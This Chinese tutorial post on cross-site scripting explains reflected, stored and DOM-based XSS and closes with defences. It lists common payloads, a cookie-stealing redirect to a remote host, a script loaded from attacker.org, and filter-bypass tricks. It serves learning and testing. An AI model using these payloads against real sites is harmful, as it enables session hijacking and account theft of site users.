xss漏洞原理应用及常用payload总结

xss简介

XSS攻击全称跨站脚本攻击(Cross Site Scripting),但为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。一般只要有用户输入的地方,就可能会出现XSS漏洞。

可能造成的危害

  • 网站弹框(刷流量)
  • 网站挂马
  • 会话劫持
  • 控制目标数据
  • Cookie被盗取
  • 用户提权
  • 账号被盗
  • 强制发送电子邮件
  • 尽量DDOS
  • 蠕虫攻击等

xss分类

  • 反射型XSS
  • 存储型XSS
  • DOM型XSS

三种类型比较:
在这里插入图片描述

攻击原理

反射型xss攻击原理
反射型XSS又称非持久型XSS,攻击方式仅具有一次性。反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。
在这里插入图片描述

存储型xss攻击原理
存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。比较常见的一个场景就是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
在这里插入图片描述

DOM型xss攻击原理
基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
在这里插入图片描述

漏洞利用

1.盗取cookie:<script>alert(document.cookie)</script>
2.构造页面跳转:<script>location='https://www.hacker.com'</script>
3.构造获取cookie并发送到远程主机:

<script>document.location='http://127.0.0.1/test/cookie.phpcookie='+document.cookie</script>

常见注入点

  • 输入框
  • 留言板
  • URL中可传参数的变量

常用Payload

Script标签:

<script>alert(/1/)</script>
<script>prompt(1)</script> 
<script>confirm(1)</script>
<script src="http://attacker.org/malicious.js"></script>
<script src=data:text/javascript,alert(1)></script>
<script>setTimeout(alert(1),0)</script>

Img标签:

<img src=x onerror=alert(1)>
<img src=x onerror=prompt(1);>
<img src=javascript:alert('1')>

a标签:

<a href=”javascript:alert(1)>点击触发</a>
<a href="http://www.hacker.com">点击触发</a>

Iframe标签:

<iframe src="javascript:alert(1)">
<iframe onload=alert(1)>

其他标签:

<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>

常用事件:
onclick: 点击触发 (<img src=x onclick=alert(1)>)
onerror: 当 src 加载不出来时触发 (<img src=x onerror=alert(1)>)
onload: 当 src 加载完毕触发(<img src=x onload=alert(1)>)
onmouseover:鼠标指针移动到图片后触发(<img src=x onmouseover=alert(1)>)
onmousemove: 鼠标指针移到指定的元素后触发(<img src=x onmousemove=alert(1) >)
onfocus: 当 input 输入框获取焦点时触发(<input onfocus=javascript:alert(1) autofocus>)

常用属性:
src
action
href
data
content

javascript弹窗函数:
alert()
confirm()
prompt()

常用绕过方法

1.大小写绕过(<SCRIPT>)
2.双写绕过(<SCr<scRiPT>ipt>)
3.关键字HTML编码绕过
4.任意位置插入null字符(<im[%00]g onerror=alert(xss) src=a>)
5.JavaScript转义(<script>eval(‘a\154ert(1)’)</script>)

Xss漏洞的防范

不信任任何用户的输入,对每个用户的输入都做严格检查,过滤,在输出的时候,对某些特殊字符进行转义,替换等

  • 5
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS(Cross-site scripting)跨站脚本攻击,是一种常见的Web攻击方式,攻击者通过在网页中注入恶意脚本代码,使得用户在浏览网页时执行这些脚本代码,达到攻击的目的。 XSS攻击的原理是,攻击者在网页中注入恶意脚本代码,当用户访问这个网页时,恶意脚本代码会被执行,从而达到攻击的目的。攻击者可以通过XSS攻击来窃取用户的敏感信息、绕过网站的访问控制、劫持用户会话、篡改网页内容等。 XSS漏洞的挖掘方法一般包括以下几个步骤: 1. 扫描目标网站:使用一些扫描工具,如Burp Suite、OWASP ZAP等,对目标网站进行扫描,找出可能存在的XSS漏洞。 2. 注入恶意脚本代码:在目标网站的输入框中注入恶意脚本代码,如<script>alert("XSS漏洞");</script>,并提交表单。 3. 检查注入的恶意脚本代码是否生效:在提交表单后,在网页中查看是否弹出了XSS漏洞的测试弹窗。如果弹出了,说明注入的恶意脚本代码生效了,存在XSS漏洞。 4. 利用XSS漏洞:如果发现了XSS漏洞,攻击者可以利用这个漏洞来进行攻击,如窃取用户的敏感信息、绕过网站的访问控制、劫持用户会话、篡改网页内容等。 为了防止XSS漏洞的产生,网站开发人员可以采取以下措施: 1. 对用户输入的数据进行过滤和转义,将特殊字符进行转义,如<、>、&等。 2. 在Cookie中设置HttpOnly属性,禁止JavaScript访问Cookie,防止攻击者通过XSS攻击窃取用户的Cookie信息。 3. 在HTTP响应头中设置X-XSS-Protection属性,开启浏览器的XSS保护功能。 4. 对网站进行安全审计,定期检查网站是否存在XSS漏洞
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值